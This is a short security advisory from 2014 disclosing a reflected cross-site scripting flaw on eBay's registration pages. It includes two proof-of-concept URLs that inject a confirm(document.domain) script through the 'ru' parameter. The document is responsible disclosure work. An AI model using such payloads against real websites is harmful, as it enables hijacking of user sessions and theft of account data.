reg.ebay.com - Cross-site Scripting vulnerability

[Stefan Schurtz <security () darksecurity de>]

Advisory: reg.ebay.com - Cross-site Scripting vulnerability
Advisory ID: SSCHADV2014-004
Author: Stefan Schurtz
Affected Software: Successfully tested on reg.ebay.com
Vendor URL: http://www.ebay.com/
Vendor Status: informed

==========================
Vulnerability Description
==========================

The website "reg.ebay.com" is prone to a XSS vulnerability

==========================
PoC-Exploit
==========================

https://scgi.ebay.com/ws/eBayISAPI.dll?RegisterEnterInfo=&siteid=0&UsingSSL=1&co_partnerId=2&MfcISAPICommand=RegisterEnterInfo&co_partnerId=2
&siteid=0&ru=http%253A%252F%252Fwww.ebay.com%252Fusr%252Fpatrice.php%253Ffol%253D7df875b8eb5a9c9a78d92c72acc2fb8dd6e6dfa4eee1
a922ab5464ffcd09d322%2526widget%253Dfollow_113459%22%3bconfirm%28document.domain%29%2f%2f4189ebe3a
&bin=3984&pageType=3984&register_signin=Register

https://reg.ebay.com/reg/PartialReg?siteid=0&ru=http%3A%2F%2Fwww.ebay.com%2Fusr%2Fpatrice.php%3Ffol%3D7df875b8eb5a9c9a
78d92c72acc2fb8dd6e6dfa4eee1a922ab5464ffcd09d322%26widget%3Dfollow_113459
%22%3Bconfirm%28document.domain%29%2F%2F4189ebe3a&MfcISAPICommand=

==========================
Solution
==========================

-

==========================
Disclosure Timeline
==========================

30-Jan-2014 - ebay informed via
"http://pages.ebay.com/securitycenter/Researchers.html";

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://www.ebay.com/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-004.txt

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